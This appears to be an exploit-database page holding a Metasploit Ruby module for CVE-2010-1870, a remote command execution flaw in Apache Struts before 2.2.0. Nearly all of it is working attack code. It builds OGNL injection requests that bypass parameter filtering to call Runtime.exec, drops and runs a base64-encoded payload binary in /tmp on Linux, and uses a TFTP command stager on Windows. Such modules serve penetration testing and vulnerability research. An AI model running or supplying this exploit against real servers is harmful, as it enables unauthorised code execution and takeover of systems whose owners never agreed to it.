Apache Struts < 2.2.0 - Remote Command Execution (Metasploit)

Related Vulnerabilities: CVE-2010-1870  
Publish Date: 19 Aug 2011
Author: Metasploit
                							

                ##
# $Id: struts_code_exec.rb 13586 2011-08-19 05:59:32Z bannedit $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 &lt; Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::CmdStagerTFTP
	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           =&gt; 'Apache Struts &lt; 2.2.0 Remote Command Execution',
			'Description'    =&gt; %q{
					This module exploits a remote command execution vulnerability in 
				Apache Struts versions &lt; 2.2.0. This issue is caused by a failure to properly
				handle unicode characters in OGNL extensive expressions passed to the web server.
				
					By sending a specially crafted request to the Struts application it is possible to
				bypass the "#" restriction on ParameterInterceptors by using OGNL context variables. 
				Bypassing this restriction allows for the execution of arbitrary Java code.
			},
			'Author'         =&gt;
				[
					'bannedit', # metasploit module
					'Meder Kydyraliev', # original public exploit
				],
			'License'        =&gt; MSF_LICENSE,
			'Version'        =&gt; '$Revision: 13586 $',
			'References'     =&gt;
				[
					[ 'CVE', '2010-1870'],
					[ 'OSVDB', '66280'],
					[ 'URL', 'http://www.exploit-db.com/exploits/14360/' ],
				],
			'Platform'      =&gt; [ 'win', 'linux'],
			'Privileged'     =&gt; true,
			'Targets'        =&gt;
				[
					['Windows Universal',
						{
								'Arch' =&gt; ARCH_X86,
								'Platform' =&gt; 'win'
						}
					],
					['Linux Universal',
						{
								'Arch' =&gt; ARCH_X86,
								'Platform' =&gt; 'linux'
						}
					],
				],
			'DisclosureDate' =&gt; 'Jul 13 2010',
			'DefaultTarget' =&gt; 0))

			register_options(
				[
					Opt::RPORT(8080),
					OptString.new('URI', [ true, 'The path to a struts application action ie. /struts2-blank-2.0.9/example/HelloWorld.action', ""]),
					OptString.new('CMD', [ false, 'Execute this command instead of using command stager', "" ])
				], self.class)
	end

	def execute_command(cmd, opts = {})
		uri =  Rex::Text::uri_encode(datastore['URI'])
		var_a = rand_text_alpha_lower(4)
		var_b = rand_text_alpha_lower(2)
		var_c = rand_text_alpha_lower(4)
		var_d = rand_text_alpha_lower(4)
		var_e = rand_text_alpha_lower(4)
		
		uri &lt;&lt; "?(%27\023_memberAccess[\\%27allowStaticMethodAccess\\%27]%27)(#{var_a})=true&amp;"
		uri &lt;&lt; "(aaaa)((%27\023context[\\%27xwork.MethodAccessor.denyMethodExecution\\%27]\03d\023#{var_c}%27)(\023#{var_c}\03dnew%20java.lang.Boolean(\"false\")))&amp;"
		uri &lt;&lt; "(#{var_b})((%27\023#{var_d}.exec(\"CMD\")%27)(\023#{var_d}\03d@java.lang.Runtime@getRuntime()))=1" if target['Platform'] == 'win'
		uri &lt;&lt; "(asdf)(('\023rt.exec(\"CMD\".split(\"@\"))')(\023rt\03d@java.lang.Runtime@getRuntime()))=1" if target['Platform'] == 'linux'
		uri.gsub!(/CMD/, Rex::Text::uri_encode(cmd))

		vprint_status("Attemping to execute: #{cmd}")

		resp = send_request_raw({
			'uri'     =&gt; uri,
			'version' =&gt; '1.1',
			'method'  =&gt; 'GET',
		}, 5)
	end

	def windows_stager
		exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"

		print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
		execute_cmdstager({ :temp =&gt; '.'})
		@payload_exe = payload_exe

		print_status("Attempting to execute the payload...")
		execute_command(@payload_exe)
	end

	def linux_stager
		cmds = "/bin/sh@-c@echo LINE | tee FILE"
		exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
		base64 = Rex::Text.encode_base64(exe)
		base64.gsub!(/\=/, "\03d")
		file = rand_text_alphanumeric(4+rand(4))

		execute_command("/bin/sh@-c@touch /tmp/#{file}.b64")
		cmds.gsub!(/FILE/, "/tmp/" + file + ".b64")
		base64.each_line do |line|
			line.chomp!
			cmd = cmds
			cmd.gsub!(/LINE/, line)
			execute_command(cmds)
		end

		execute_command("/bin/sh@-c@base64 -d /tmp/#{file}.b64|tee /tmp/#{file}")
		execute_command("/bin/sh@-c@chmod +x /tmp/#{file}")
		execute_command("/bin/sh@-c@rm /tmp/#{file}.b64")

		execute_command("/bin/sh@-c@/tmp/#{file}")
		@payload_exe = "/tmp/" + file
	end

	def on_new_session(client)
		if target['Platform'] == 'linux'
			print_status("deleting #{@payload_exe} payload file")
			execute_command("/bin/sh@-c@rm #{@payload_exe}")
		else
			print_status("Windows does not allow running executables to be deleted")
			print_status("delete the #{@payload_exe} file manually after migrating")
		end
	end

	def exploit
		if not datastore['CMD'].empty?
			print_status("Executing user supplied command")
			execute_command(datastore['CMD'])
			return
		end

		case target['Platform']
			when 'linux'
				linux_stager
			when 'win'
				windows_stager
			else
				raise RuntimeError, 'Unsupported target platform!'
		end

		handler
	end
end